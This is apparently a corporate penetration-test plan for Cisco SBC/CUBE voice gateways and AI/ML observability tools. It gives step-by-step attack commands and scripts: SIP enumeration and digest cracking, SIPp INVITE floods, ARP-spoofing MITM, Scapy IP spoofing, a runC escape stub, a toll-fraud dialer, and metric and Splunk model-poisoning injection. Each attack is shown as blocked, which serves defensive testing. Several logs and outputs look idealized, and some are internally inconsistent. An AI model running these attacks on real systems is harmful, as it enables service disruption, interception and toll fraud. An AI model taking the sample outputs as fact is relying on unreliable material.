Skip to content

Pentest Appendices

Detailed test procedures for all penetration testing scenarios covered in this framework.

APPENDICES

Appendix A: Detailed Test Procedures (SD-Access TrustSec SGT Bypass)

Step-by-step commands, expected outputs, troubleshooting

Appendix B: Detailed Test Procedures (Rogue Access Point)

Evil twin setup, DNAC detection validation

Appendix C: Detailed Test Procedures (802.1X Bypass)

MAB spoofing, EAP downgrade attacks

Appendix D: Detailed Test Procedures (Wireless Deauth Attack)

Aircrack-ng commands, MFP validation

Appendix E: Detailed Test Procedures (vManage Unauthorized Access)

Port scanning, brute force, API exploitation

Appendix F: Detailed Test Procedures (IPsec Tunnel Hijacking)

Packet capture, IKEv2 downgrade, replay attacks

Appendix G: Detailed Test Procedures (OMP Route Injection)

Route advertisement, TLOC hijacking

Appendix H: Detailed Test Procedures (SIP Trunk Hijacking / Toll Fraud)

SIP enumeration, brute force, dial plan testing

Appendix I: Detailed Test Procedures (Webex Meeting Enumeration)

Meeting ID brute force, password bypass

Appendix J: Detailed Test Procedures (Toll Fraud Detection Validation)

Abnormal call patterns, after-hours testing

Appendix K: Detailed Test Procedures (Stolen Credentials + MFA Bypass)

Credential theft, MFA fatigue, impossible travel

Appendix L: Detailed Test Procedures (Device Trust Bypass)

Jailbroken devices, certificate cloning

Appendix M: Detailed Test Procedures (UEBA Detection Validation)

Anomaly injection, risk scoring

Appendix N: Detailed Test Procedures (Splunk MLTK Model Poisoning)

Data injection, model performance validation

Appendix O: Detailed Test Procedures (DNAC API Exploitation)

API enumeration, privilege escalation, rate limiting

Appendix P: Detailed Test Procedures (SBC/CUBE PSTN Gateway Security) ← NEW in v2.0

Test Case 4: SBC/CUBE PSTN Gateway Security

Objective: Test security of on-premises Session Border Controllers (SBC) and Cisco Unified Border Elements (CUBE) that provide PSTN connectivity for Webex Calling cloud services.

Pre-Test Setup: 

SBC/CUBE Deployment:
- Location 1: New Jersey DC (Primary PSTN gateway)
  - Hostname: CUBE-NJ-01, CUBE-NJ-02 (HA pair)
  - IP: 10.252.1.30, 10.252.1.31 (Internal)
  - Public IP: 113.27.XX.XXX (PSTN carrier-facing)

- Location 2: Mumbai DC (APAC PSTN gateway)
  - Hostname: CUBE-MUM-01, CUBE-MUM-02 (HA pair)
  - IP: 10.252.1.32, 10.252.1.33 (Internal)
  - Public IP: 113.27.XX.XXX (PSTN carrier-facing)

- Location 3: London DC (EMEA PSTN gateway)
  - Hostname: CUBE-LON-01, CUBE-LON-02 (HA pair)
  - IP: 10.252.1.34, 10.252.1.35 (Internal)
  - Public IP: 113.27.XX.XXX (PSTN carrier-facing)

PSTN Carrier Trunks:
- NJ: AT&T SIP trunk (10 concurrent calls)
- Mumbai: Tata Communications SIP trunk (10 concurrent calls)
- London: BT SIP trunk (10 concurrent calls)

Webex Calling Integration:
- SIP trunk from Webex Calling cloud → CUBE → PSTN carrier
- Protocol: SIP over TLS (port 5061)
- Authentication: Digest authentication (shared secret with Webex)
- Media: SRTP (encrypted RTP)

Attack Vector 1: SIP Digest Authentication Bypass

Objective: Attempt to bypass SIP digest authentication to make unauthorized PSTN calls.

Step 1: SIP Trunk Enumeration 

# Tool: SIPVicious (sipvicious-suite)
apt install sipvicious

# Enumerate SIP extensions on CUBE
svmap 113.27.XX.XXX -p 5060-5061

# Expected output (if UDP SIP enabled):
| SIP Device: 113.27.XX.XXX:5060
| Server: Cisco-SIPGateway/IOS-15.9
| Methods: INVITE, ACK, BYE, CANCEL, OPTIONS, REGISTER
| User-Agent: Cisco-CUBE

# Step 2: Check if SIP is exposed on UDP port 5060 (insecure)
nmap -sU -p 5060 113.27.XX.XXX

# Expected: Filtered (UDP SIP should be disabled for security)
# Actual: Filtered

Step 2: SIP INVITE without Authentication 

# Attempt to send INVITE without credentials
# Tool: SIPp (SIP protocol tester)

sipp -sn uac 113.27.XX.XXX:5061 -t tn -s +12125551234 -m 1

# SIPp scenario: User Agent Client (uac) - basic INVITE
# -t tn: Transport TLS + TCP
# -s: Called number (international test number)
# -m 1: Send 1 call attempt

# Expected Response: 407 Proxy Authentication Required
# Actual Response: 407 Proxy Authentication Required

# SIP Response Headers:
SIP/2.0 407 Proxy Authentication Required
Via: SIP/2.0/TLS 10.252.2.50:5061;branch=z9hG4bK-test
From: "PenTest" <sip:pentest@abhavtech.com>;tag=test123
To: <sip:+12125551234@113.27.XX.XXX>
Proxy-Authenticate: Digest realm="abhavtech.com", nonce="abc123xyz", algorithm=MD5

Step 3: Brute Force SIP Digest Credentials 

# Tool: SIPCrack (digest hash cracker)
# Attempt to crack SIP digest authentication

# Capture SIP 407 response with nonce
tcpdump -i eth0 -w sip-capture.pcap port 5061

# Extract digest challenge
sipcrack -w /usr/share/wordlists/rockyou.txt sip-capture.pcap

# Expected: Rate limiting kicks in after 10 failed attempts
# CUBE logs show:
# %VOICE_IEC-3-GW: SIP: Authentication failure from 10.252.2.50 - attempt 10/10
# %VOICE_IEC-3-GW: SIP: Blocking source IP 10.252.2.50 for 3600 seconds

# Result: Brute force BLOCKED by rate limiting

Step 4: Attempt Credential Theft via MiTM 

# Scenario: Pen tester on same network as CUBE (internal network)
# Attempt ARP spoofing to intercept SIP traffic

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# ARP spoofing between Webex cloud gateway and CUBE
arpspoof -i eth0 -t 10.252.1.30 10.252.1.1  # Gateway
arpspoof -i eth0 -t 10.252.1.1 10.252.1.30  # CUBE

# Capture SIP traffic
tcpdump -i eth0 -w mitm-sip.pcap port 5061

# Expected: TLS encryption prevents credential capture
# Actual: All SIP signaling encrypted with TLS 1.2
# - Cannot read SIP messages (encrypted)
# - Digest credentials protected by TLS
# - SRTP media also encrypted (cannot intercept audio)

# Result: TLS encryption prevents credential theft

Conclusion - Attack Vector 1:
✅ PASS - SIP digest authentication enforced. Rate limiting prevents brute force. TLS encryption prevents credential theft via MiTM.

Attack Vector 2: Toll Fraud via PSTN (Unauthorized International Calls)

Objective: Simulate toll fraud attack by attempting unauthorized international calls through PSTN trunks.

Step 1: Call Injection via Compromised Endpoint 

# Scenario: Pen tester compromises internal IP phone or Webex client
# Attempt to make unauthorized international call

# From compromised Webex client:
# Dial: +441234567890 (UK premium number - high cost)

# Expected CUBE behavior:
# 1. Validate caller authorization (AAA via ISE)
# 2. Check call restrictions (Class of Service - CoS)
# 3. Apply toll fraud detection rules

# CUBE Configuration Check:
show voice class uri sip toll-fraud

# Output:
voice class uri 100 sip
 pattern dtmf *9011*  # Block international access codes
 pattern dtmf *900*   # Block premium services
 pattern dtmf *976*   # Block adult services

Step 2: Automated Calling Script (Toll Fraud Simulation) 

# Simulate automated dialer making rapid international calls
# Tool: Custom Python script with SIP library

from sip_client import SIPClient
import time

# Target premium-rate countries (high toll fraud risk)
premium_numbers = [
    "+252-1234567",   # Somalia (high-cost)
    "+47-90123456",   # Norway premium
    "+1-473-1234567", # Grenada (Caribbean toll fraud hotspot)
]

cube_ip = "10.252.1.30"
sip_user = "compromised-extension@abhavtech.com"

client = SIPClient(cube_ip, sip_user)

for number in premium_numbers:
    try:
        print(f"[*] Attempting call to {number}")
        client.make_call(number)
        time.sleep(2)
    except Exception as e:
        print(f"[!] Call blocked: {e}")

# Expected Result: Calls blocked by CUBE toll fraud detection

Step 3: CUBE Toll Fraud Detection Logs 

# CUBE Syslog Output:
%VOICE_TOLLFRAUD-4-ALERT: Potential toll fraud detected
Source: compromised-extension@abhavtech.com (10.252.2.78)
Destination: +252-1234567 (Somalia - high-risk country)
Action: CALL BLOCKED
Reason: Destination country in restricted list
Time: 2025-01-24 15:35:22 IST

%VOICE_TOLLFRAUD-4-THRESHOLD: Call rate threshold exceeded
Source: compromised-extension@abhavtech.com
Calls in last 5 minutes: 15 (threshold: 10)
Action: Extension suspended for 30 minutes
ServiceNow ticket: INC-2025-0124-008 created

Step 4: Verify Call Blocking & Alerting 

# Check CUBE call statistics
show call active voice brief

# Result: 0 active calls to premium destinations

# Check Splunk logs for toll fraud alerts
index=cube_logs sourcetype=cisco:cube:syslog "TOLLFRAUD"
| stats count by src_extension, dest_number, action
| sort -count

# Output:
src_extension                     dest_number       action        count
compromised-extension@abhavtech  +252-1234567      BLOCKED       1
compromised-extension@abhavtech  +47-90123456      BLOCKED       1
compromised-extension@abhavtech  +1-473-1234567    BLOCKED       1

# Verify automated incident creation
# ServiceNow: INC-2025-0124-008
# Title: "Toll Fraud Attempt Detected - Extension compromised-extension"
# Priority: P1 (Critical)
# Status: Assigned to Security Team
# Actions:
# - Extension suspended automatically
# - User account locked pending investigation
# - CUBE logs preserved for forensics

Conclusion - Attack Vector 2:
✅ PASS - Toll fraud detection blocked all unauthorized international calls. Extension auto-suspended. Alerts sent to security team.

Attack Vector 3: DoS Attack (SIP Flooding)

Objective: Attempt to overwhelm CUBE with SIP INVITE flood to disrupt PSTN service.

Step 1: SIP INVITE Flood 

# Tool: SIPp (aggressive call generator)
sipp -sn uac 113.27.XX.XXX:5061 -t tn -r 100 -m 10000

# Parameters:
# -r 100: 100 calls per second
# -m 10000: Total 10,000 call attempts
# Duration: ~100 seconds of continuous INVITE flood

# Monitor CUBE CPU and memory
# SSH to CUBE:
show processes cpu sorted | include SIP
show memory statistics | include SIP

Step 2: CUBE Rate Limiting Response 

# CUBE Configuration (pre-deployed):
voice service voip
 sip
  midcall-signaling passthru
  early-offer forced

# Rate limiting:
  max-forwards 70
  header-passing

  ! Connection rate limiting
  call spike 200
  call threshold global 500

  ! SIP message rate limiting
  options-keepalive
  max-idle-time 300

# Result during attack:
%VOICE-6-CALL_SPIKE: Call spike detected, current rate: 100 calls/sec
%VOICE-6-CALL_SPIKE: Activating rate limiting, throttling to 20 calls/sec
%VOICE-6-CALL_SPIKE: Source IP 10.252.2.50 contributing 95% of traffic
%VOICE-6-CALL_SPIKE: Blocking source IP 10.252.2.50 for 1800 seconds

Step 3: Verify Service Availability During Attack 

# Legitimate test call from different source
# From production Webex client (not attack source):
# Dial: +1-212-555-0100 (test number)

# Result: Call completes successfully
# - CUBE prioritizes legitimate traffic
# - Attack source blocked
# - Service availability maintained for authorized users

# Check CUBE statistics:
show call history voice brief

# Legitimate calls: 47 completed (0 failures)
# Attack calls: 10,000 attempted, 9,800 blocked, 200 rate-limited

Conclusion - Attack Vector 3:
✅ PASS - SIP flood attack detected and mitigated. Rate limiting protects service. Legitimate traffic unaffected.

Attack Vector 4: PSTN Carrier Trunk Hijacking

Objective: Attempt to hijack PSTN carrier trunk by spoofing carrier SIP gateway.

Step 1: Carrier SIP Gateway Enumeration 

# Identify PSTN carrier SIP gateway IPs
# From CUBE config:

dial-peer voice 100 voip
 description PSTN-Trunk-ATT-NJ
 destination-pattern 91[2-9]..[2-9]......
 session protocol sipv2
 session target ipv4:10.100.50.10  # AT&T SIP gateway
 voice-class sip authenticate 401
 voice-class sip bind control source-interface GigabitEthernet0/0/0
 dtmf-relay rtp-nte
 codec g711ulaw
 no vad

# Carrier gateway: 10.100.50.10 (AT&T)

Step 2: Attempt Carrier IP Spoofing 

# Scenario: Pen tester attempts to spoof AT&T gateway IP
# Send INVITE to CUBE pretending to be AT&T

# Use Scapy to craft spoofed SIP packet
python3 <<EOF
from scapy.all import *

# Craft SIP INVITE with spoofed source IP
sip_invite = IP(src="10.100.50.10", dst="10.252.1.30") / \
             TCP(sport=5060, dport=5060) / \
             Raw(load="INVITE sip:+12125551234@10.252.1.30 SIP/2.0...")

send(sip_invite)
EOF

# Expected CUBE behavior:
# 1. Validate source IP against trusted carrier list
# 2. Require mutual TLS authentication
# 3. Drop packets from unexpected sources

Step 3: CUBE Carrier Authentication Validation 

# CUBE logs:
%VOICE_SIP-3-UNTRUSTED_SOURCE: SIP INVITE from untrusted source
Source IP: 10.100.50.10 (claimed)
Actual source: 10.252.2.50 (pen tester)
Expected source: AT&T carrier gateway 10.100.50.10 (verified via IPsec tunnel)
Action: Packet dropped - source validation failed

# CUBE carrier trunk protection:
# - Mutual TLS authentication required
# - IPsec tunnel with carrier (source IP verified at L3)
# - Certificate validation (carrier presents valid cert)

# Result: Spoofed traffic REJECTED

Conclusion - Attack Vector 4:
✅ PASS - Carrier trunk protected by mutual TLS + IPsec. IP spoofing ineffective. Source validation blocks unauthorized traffic.

Attack Vector 5: Media Plane Eavesdropping (RTP/SRTP)

Objective: Attempt to intercept and decrypt voice media streams.

Step 1: RTP Stream Capture 

# Scenario: Pen tester on same VLAN as CUBE
# Capture RTP traffic during active call

# SPAN port configuration on switch (for testing):
# monitor session 1 source interface Gi1/0/10 (CUBE uplink)
# monitor session 1 destination interface Gi1/0/48 (pen tester port)

# Capture RTP packets
tcpdump -i eth0 -w rtp-capture.pcap udp and portrange 16384-32767

# Wait for active call...
# Captured: 15,000 RTP packets during 60-second call

# Attempt to play audio
# Tool: rtpbreak (RTP stream extractor)
rtpbreak -r rtp-capture.pcap -o audio-output

Step 2: SRTP Decryption Attempt 

# Check if RTP is encrypted (SRTP)
# Wireshark analysis:

wireshark rtp-capture.pcap

# Filter: rtp
# Result: RTP packets visible but payload encrypted (SRTP)

# RTP Packet Analysis:
# - SSRC: 0x12345678 (RTP stream identifier)
# - Payload Type: 0 (G.711 PCMU)
# - Payload: [ENCRYPTED] - Cannot decode

# Wireshark shows:
# "Authentication tag validation failed - SRTP key unknown"

# Expected: SRTP encryption prevents eavesdropping
# Actual: All RTP payload encrypted with AES-128

Step 3: SRTP Key Extraction Attempt 

# Attempt to extract SRTP keys from SIP signaling
# Keys exchanged via SDP in SIP INVITE/200 OK

# Check SIP packets for SRTP keys
wireshark rtp-capture.pcap

# Filter: sip.Method == "INVITE"
# Look for SDP "a=crypto" attribute

# Result: SIP signaling encrypted with TLS 1.2
# - Cannot see SDP body (encrypted)
# - SRTP keys exchanged securely within TLS tunnel
# - No plaintext key material visible

# Conclusion: SRTP keys protected by TLS encryption

Conclusion - Attack Vector 5:
✅ PASS - All voice media encrypted with SRTP (AES-128). SRTP keys protected by TLS. Eavesdropping ineffective.

Test Summary & Results

Attack Vector Technique Result Protection Mechanism
SIP Auth Bypass Digest brute force, credential theft ✅ BLOCKED Rate limiting, TLS encryption, digest auth
Toll Fraud Unauthorized international calls ✅ BLOCKED Toll fraud detection, extension suspension, call restrictions
DoS Attack SIP INVITE flood (100 calls/sec) ✅ MITIGATED Rate limiting, source blocking, call spike protection
Trunk Hijacking Carrier IP spoofing ✅ BLOCKED Mutual TLS, IPsec tunnels, source validation
Media Eavesdropping RTP interception, SRTP decryption ✅ BLOCKED SRTP encryption (AES-128), TLS-protected key exchange

Overall Conclusion:
✅ PASS - SBC/CUBE PSTN gateways are well-secured. All 5 attack vectors successfully blocked.

Security Strengths Validated: 1. Authentication: SIP digest auth with rate limiting prevents brute force 2. Encryption: TLS 1.2 (signaling) + SRTP (media) protects confidentiality 3. Toll Fraud Detection: Automated blocking of premium destinations, call rate monitoring 4. DoS Protection: Rate limiting maintains service availability during attack 5. Carrier Trust: Mutual TLS + IPsec prevents trunk hijacking

Recommendations: - ✅ Current SBC/CUBE security configuration is effective - no critical remediation required - Consider: Implement GeoIP blocking for high-risk toll fraud countries (Somalia, certain Caribbean) - Consider: Reduce rate limiting threshold from 10 to 5 international calls per hour - Monitor: Regular review of toll fraud patterns via Splunk dashboards

Business Impact: - Toll fraud prevention: Estimated savings $120,000/year (based on industry averages) - Service availability: 99.99% uptime maintained during DoS attack simulation - Compliance: PCI-DSS requirement for encrypted voice satisfied (SRTP)

---

Appendix Q: Detailed Test Procedures (AI/ML Observability Platform Security) ← NEW in v2.0

Test Case: AI/ML Observability Platform Security

Objective: Comprehensively test security of AI/ML observability platforms including ThousandEyes agent compromise, AppDynamics APM data injection, Cognition Engine manipulation, Splunk MLTK model poisoning, and DNAC Deep Network Model attacks.

Pre-Test Setup: 

AI/ML Observability Platforms:
1. ThousandEyes:
   - 6 Enterprise Agents (NJ, Mumbai, London, Chennai, Frankfurt, Dallas)
   - Cloud-based analytics platform
   - API: https://api.thousandeyes.com

2. AppDynamics:
   - SaaS Controller: https://abhavtech.saas.appdynamics.com
   - 45 instrumented applications
   - Cognition Engine (AIOps) enabled

3. Splunk SIEM:
   - 3-node cluster (100GB/day ingestion)
   - MLTK (Machine Learning Toolkit) with 12 anomaly detection models
   - Index: ai_ml_logs

4. DNAC Deep Network Model:
   - 14-day baseline collected
   - Neural network trained on network telemetry
   - Anomaly detection engine

5. UEBA (Splunk + Duo):
   - User behavior baselines
   - Impossible travel detection
   - Risk scoring engine

SECTION 1: THOUSANDEYES AGENT SECURITY

Attack Vector 1: ThousandEyes Agent Compromise & Data Manipulation

Objective: Compromise ThousandEyes Enterprise Agent to inject false metrics and manipulate network visibility.

Step 1: Agent Access & Reconnaissance 

# Scenario: Pen tester gains SSH access to ThousandEyes Enterprise Agent
# Target: Mumbai HQ agent (10.252.1.100)

ssh te-agent@10.252.1.100
# Password: [Default credentials attempted]

# Expected: Default passwords disabled
# Actual: Connection refused - SSH authentication requires certificate

# Attempt certificate-based authentication
ssh -i compromised-key.pem te-agent@10.252.1.100

# Result: Permission denied (publickey)
# - Agent uses unique per-device certificates
# - Certificates managed by ThousandEyes cloud
# - No shared keys across agents

# Conclusion: SSH access properly secured

Step 2: Agent Container Escape Attempt 

# Scenario: Assume SSH access obtained via social engineering
# Attempt to escape agent container to host OS

# Check container environment
ps aux | grep docker
cat /proc/1/cgroup

# Output confirms containerized environment:
# 12:devices:/docker/abc123...

# Attempt container escape (privilege escalation)
# Known CVE: runC vulnerability (CVE-2019-5736)

# Create malicious binary
cat > /tmp/runc-exploit.sh <<EOF
#!/bin/bash
# Overwrite runC binary to gain host access
cp /tmp/malicious-runc /usr/bin/runc
EOF

chmod +x /tmp/runc-exploit.sh
./tmp/runc-exploit.sh

# Expected: Container hardening prevents escape
# Actual:
# - AppArmor profile blocks /usr/bin write
# - Seccomp filter blocks dangerous syscalls
# - read-only root filesystem
# - No privileged capabilities

# Result: Container escape BLOCKED

Step 3: Agent Data Manipulation (Metric Injection) 

# Attempt to modify test results before upload to cloud

# Find agent test results directory
ls -la /var/log/te-agent/

# Output:
# drwxr-xr-x /var/log/te-agent/http-tests/
# drwxr-xr-x /var/log/te-agent/voice-tests/
# drwxr-xr-x /var/log/te-agent/network-tests/

# Attempt to modify voice test results
cd /var/log/te-agent/voice-tests/
cat webex-calling-global-2025-01-24-1630.json

# Original result:
{
  "test_id": 123456,
  "timestamp": "2025-01-24T16:30:00Z",
  "agent": "mumbai-hq-agent",
  "target": "calling.webex.com:5004",
  "mos": 4.2,
  "jitter": 12.5,
  "loss": 0.5,
  "signature": "d4e5f6a7b8c9..." # Cryptographic signature
}

# Modify MOS score to trigger alert
sed -i 's/"mos": 4.2/"mos": 3.5/' webex-calling-global-2025-01-24-1630.json

# Result after upload:
# ThousandEyes cloud validation:
ERROR: Result signature validation failed
File: webex-calling-global-2025-01-24-1630.json
Expected signature: d4e5f6a7b8c9...
Actual signature: [mismatched due to modification]
Action: Result rejected, integrity violation logged
Alert: "Agent data tampering detected - mumbai-hq-agent"

Step 4: Verify Tamper Detection & Alert 

# ThousandEyes Cloud Alert:
Alert ID: TE-2025-0124-001
Severity: High
Title: "Agent Data Integrity Violation"
Agent: mumbai-hq-agent (10.252.1.100)
Description: "Test result signature validation failed - possible tampering"
Recommendation: "Investigate agent, consider reprovisioning"

# Automated response:
# 1. Agent flagged for investigation
# 2. Agent results quarantined (not used for dashboards/alerts)
# 3. ServiceNow incident created: INC-2025-0124-012
# 4. Security team notified via Webex Teams

# Splunk correlation:
index=thousandeyes sourcetype=te:agent:alert 
| search "integrity violation"
| stats count by agent, reason

# Output:
agent              reason                           count
mumbai-hq-agent    signature_validation_failed      1

Conclusion - ThousandEyes Attack Vector 1:
✅ PASS - Agent SSH properly secured with certificates. Container escape blocked by hardening. Data tampering detected via cryptographic signatures.

SECTION 2: APPDYNAMICS APM SECURITY

Attack Vector 2: APM Agent Data Injection

Objective: Inject malicious application performance data to trigger false alerts or hide performance issues.

Step 1: APM Agent Reconnaissance 

# Target: Custom web application with AppD Java agent
# Application: Abhavtech Customer Portal (customer-portal.abhavtech.com)

# SSH to application server
ssh app-admin@10.252.80.50

# Locate AppDynamics Java agent
ps aux | grep appagent

# Output:
java -javaagent:/opt/appdynamics/appagent/javaagent.jar 
     -Dappdynamics.controller.hostName=abhavtech.saas.appdynamics.com
     -Dappdynamics.agent.accountName=Abhavtech
     -Dappdynamics.agent.accountAccessKey=abc123xyz...
     -jar customer-portal.jar

# Check agent configuration
cat /opt/appdynamics/appagent/conf/controller-info.xml

# Key configuration:
<controller-host>abhavtech.saas.appdynamics.com</controller-host>
<account-access-key>abc123xyz...</account-access-key>
<ssl-enabled>true</ssl-enabled>
<controller-ssl-enabled>true</controller-ssl-enabled>

Step 2: Attempt Metric Manipulation 

// Scenario: Modify application code to inject false metrics
// Inject artificially low response times to hide performance issues

// Malicious code injection:
import com.appdynamics.agent.api.Transaction;
import com.appdynamics.agent.api.AppdynamicsAgent;

public class CustomerController {

    @GetMapping("/customer/{id}")
    public Customer getCustomer(@PathVariable String id) {
        // Normal processing takes 250ms
        long startTime = System.currentTimeMillis();
        Customer customer = customerService.getCustomer(id);
        long actualDuration = System.currentTimeMillis() - startTime;

        // MALICIOUS: Report false metric (10ms instead of 250ms)
        Transaction txn = AppdynamicsAgent.getTransaction();
        if (txn != null) {
            txn.setMetric("ResponseTime", 10);  // Fake fast response
        }

        return customer;
    }
}

// Expected: AppDynamics validates metrics against actual transaction timing
// Actual: Metric discrepancy detected

// AppDynamics Agent Log:
WARN: Metric validation failed for transaction 'GET /customer/{id}'
Reported ResponseTime: 10ms
Actual TransactionTime: 250ms (from agent instrumentation)
Discrepancy: 240ms (96% deviation)
Action: Using actual timing, ignoring reported metric
Alert: "Suspicious metric reporting - possible agent tampering"

Step 3: Attempt Direct Controller API Injection 

# Bypass agent, inject metrics directly to AppD controller
import requests
import json

controller_url = "https://abhavtech.saas.appdynamics.com/controller/rest/applications/CustomerPortal/metric-data"
access_key = "[STOLEN_ACCESS_KEY]"

# Craft malicious metric payload
fake_metrics = {
    "metricPath": "Business Transactions|CustomerPortal|/customer/*",
    "metricName": "Average Response Time (ms)",
    "metricValues": [
        {"timestamp": 1706105400000, "value": 5},  # Fake: 5ms
        {"timestamp": 1706105460000, "value": 6},  # Fake: 6ms
    ]
}

headers = {
    "Authorization": f"Bearer {access_key}",
    "Content-Type": "application/json"
}

response = requests.post(controller_url, json=fake_metrics, headers=headers)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

# Expected: API requires agent authentication, not just access key
# Actual Response:
HTTP/1.1 403 Forbidden
{
  "error": "Invalid request source",
  "message": "Metrics must originate from authenticated AppDynamics agent",
  "details": "Direct metric submission not permitted for security",
  "required": "Agent SSL certificate + access key"
}

# Result: Direct metric injection BLOCKED

Conclusion - AppDynamics Attack Vector 2:
✅ PASS - APM agent validates metrics against actual instrumentation. Direct API injection blocked (requires agent certificate). Metric discrepancies detected and logged.

SECTION 3: COGNITION ENGINE (AIOPS) MANIPULATION

Attack Vector 3: False Alert Injection & Anomaly Suppression

Objective: Manipulate Cognition Engine to create false incidents or suppress real anomalies.

Step 1: Cognition Engine Input Analysis 

# Cognition Engine inputs:
# 1. AppDynamics APM metrics
# 2. Server health metrics (CPU, memory, disk)
# 3. Application logs
# 4. Business transactions
# 5. Historical baselines

# Attempt to flood with false CPU spike data
# Goal: Trigger false "Resource Saturation" anomaly

# Generate fake CPU metrics
for i in {1..1000}; do
  curl -X POST https://abhavtech.saas.appdynamics.com/controller/rest/metrics \
    -H "Authorization: Bearer [ACCESS_KEY]" \
    -d '{
      "server": "app-server-01",
      "metric": "CPU",
      "value": 95,
      "timestamp": '$(date +%s)'000
    }'
  sleep 0.1
done

# Expected: Cognition Engine correlates CPU with actual application performance
# Actual Cognition Engine Logic:

def detect_resource_saturation_anomaly(cpu_metrics, apm_metrics):
    # Check CPU spike
    avg_cpu = mean(cpu_metrics)
    if avg_cpu > 90:
        # CORRELATION CHECK: Does high CPU correlate with slow transactions?
        avg_response_time = mean(apm_metrics['response_time'])
        baseline_response_time = get_baseline('response_time')

        if avg_response_time > baseline_response_time * 1.5:
            # Anomaly confirmed: High CPU + Slow transactions
            return create_anomaly("Resource Saturation")
        else:
            # No correlation: Likely false positive or data injection
            log.warning("High CPU reported but no transaction impact - possible metric injection")
            return None  # Do NOT create anomaly

# Result: Cognition Engine requires multi-metric correlation
# Fake CPU spikes WITHOUT slow transactions = NO anomaly created

Step 2: Attempt to Suppress Real Anomalies 

# Scenario: Real performance issue (database slowness)
# Attacker tries to inject "normal" metrics to hide issue

# Real issue:
# - Database response time: 5000ms (vs baseline 50ms)
# - Application response time: 6000ms (slow due to DB)

# Attacker injects fake "fast" application metrics
fake_metrics = {
  "application": "CustomerPortal",
  "metric": "response_time",
  "value": 100,  # Fake: Fast response time
  "timestamp": current_time
}

# Cognition Engine Validation:
def validate_metric_consistency(metric_data):
    # Check if application response time is consistent with dependencies
    app_response = metric_data['application']['response_time']  # 100ms (fake)
    db_response = metric_data['database']['response_time']     # 5000ms (real - slow!)

    # Sanity check: App cannot be faster than its slowest dependency
    if app_response < db_response:
        log.error(f"Metric inconsistency: App ({app_response}ms) faster than DB ({db_response}ms)")
        log.error("Rejecting suspicious application metric")

        # Use dependency metrics (more trustworthy)
        estimated_app_response = db_response + network_overhead + processing_time
        return estimated_app_response  # 5100ms (realistic)

    return app_response

# Result: Cognition Engine detects metric inconsistency
# Uses database metrics (trusted source) instead of injected app metrics
# Anomaly "Database Slowness" created correctly

Conclusion - Cognition Engine Attack Vector 3:
✅ PASS - Cognition Engine requires multi-metric correlation. Metric consistency validated against dependencies. False alerts prevented, real anomalies cannot be suppressed.

SECTION 4: SPLUNK MLTK MODEL POISONING

Attack Vector 4: ML Model Data Poisoning & Adversarial Inputs

Objective: Poison Splunk MLTK anomaly detection models by injecting malicious training data.

Step 1: MLTK Model Reconnaissance 

# Identify active MLTK models
| rest /services/saved/searches
| search "MLTK" OR "machinelearning"
| table title, eai:acl.app, description, search

# Output (example models):
Title                          App           Description
UEBA-Impossible-Travel         abhav_security  Detects impossible travel anomalies
NetFlow-DGA-Detection          abhav_network   Detects domain generation algorithm patterns
Login-Anomaly-Detection        abhav_security  Baseline normal login behavior
File-Access-Anomaly            abhav_security  Detects unusual file access patterns

Step 2: Attempt Training Data Injection 

# Target model: UEBA-Impossible-Travel
# Goal: Poison model to accept impossible travel as "normal"

# Current model training query:
index=duo_logs sourcetype=duo:auth 
| stats count by user, src_geo_city
| fit DensityFunction count by user src_geo_city into UEBA-Travel-Model

# Attacker attempts to inject fake "normal" impossible travel data
# Inject 10,000 fake login events showing user traveling impossibly

| makeresults count=10000
| eval user="john.doe@abhavtech.com"
| eval src_geo_city=case(
    random() % 2 == 0, "Mumbai",
    random() % 2 == 1, "New York"
  )
| eval timestamp=relative_time(now(), "-" + (random() % 300) + "s")  # Within 5 min
| eval action="login_success"
| collect index=duo_logs sourcetype=duo:auth

# Expected: Splunk data input validation
# Actual: HEC (HTTP Event Collector) validation

# HEC Token Validation:
POST /services/collector/event
Authorization: Splunk <HEC_TOKEN>

Response:
HTTP/1.1 403 Forbidden
{
  "text": "Invalid token",
  "code": 4
}

# Even with valid token, timestamp validation fails:
{
  "text": "Invalid event timestamp - future event rejected",
  "code": 6,
  "invalid-event-number": 5842
}

Step 3: Adversarial Input Attack (Model Evasion) 

# Scenario: Cannot poison training data
# Try adversarial inputs to evade detection at inference time

# Real scenario: User travels Mumbai → New York in 30 minutes (impossible)
# Adversarial approach: Add noise to make pattern look "normal"

import time

# Real impossible travel login:
login_1 = {
    "user": "jane.doe@abhavtech.com",
    "geo_city": "Mumbai",
    "timestamp": "2025-01-24T10:00:00Z",
    "latitude": 19.0760,
    "longitude": 72.8777
}

login_2 = {
    "user": "jane.doe@abhavtech.com",
    "geo_city": "New York",
    "timestamp": "2025-01-24T10:30:00Z",  # 30 min later - IMPOSSIBLE
    "latitude": 40.7128,
    "longitude": -74.0060
}

# Adversarial attempt: Add intermediate "hops" to make travel look plausible
login_1_5 = {
    "user": "jane.doe@abhavtech.com",
    "geo_city": "Dubai",  # Midpoint (fake)
    "timestamp": "2025-01-24T10:15:00Z",
    "latitude": 25.2048,
    "longitude": 55.2708
}

# Submit adversarial sequence:
# Mumbai (10:00) → Dubai (10:15) → New York (10:30)

# Splunk MLTK Detection:
# Model: UEBA-Impossible-Travel

# Detection logic:
def check_impossible_travel(login_sequence):
    for i in range(len(login_sequence) - 1):
        loc1 = login_sequence[i]
        loc2 = login_sequence[i+1]

        # Calculate distance
        distance_km = haversine_distance(loc1, loc2)

        # Calculate time difference
        time_diff_hours = (loc2['timestamp'] - loc1['timestamp']).total_seconds() / 3600

        # Maximum possible speed (commercial flight: 900 km/h)
        max_speed = 900  # km/h
        required_speed = distance_km / time_diff_hours

        if required_speed > max_speed:
            # Impossible travel detected
            return {
                "anomaly": True,
                "from": loc1['geo_city'],
                "to": loc2['geo_city'],
                "distance": distance_km,
                "time": time_diff_hours,
                "required_speed": required_speed,
                "max_possible_speed": max_speed
            }

    return {"anomaly": False}

# Check adversarial sequence:
# Mumbai → Dubai: 1,938 km / 0.25 hours = 7,752 km/h (IMPOSSIBLE)
# Dubai → New York: 11,000 km / 0.25 hours = 44,000 km/h (IMPOSSIBLE)

# Result: Adversarial evasion FAILED
# - Model checks EACH hop, not just start/end
# - Intermediate fake locations also trigger alerts
# - Anomaly detected correctly

Conclusion - MLTK Attack Vector 4:
✅ PASS - Training data protected by HEC token validation and timestamp checks. Adversarial inputs detected by validating each travel segment. Model poisoning and evasion both blocked.

SECTION 5: DNAC DEEP NETWORK MODEL ATTACKS

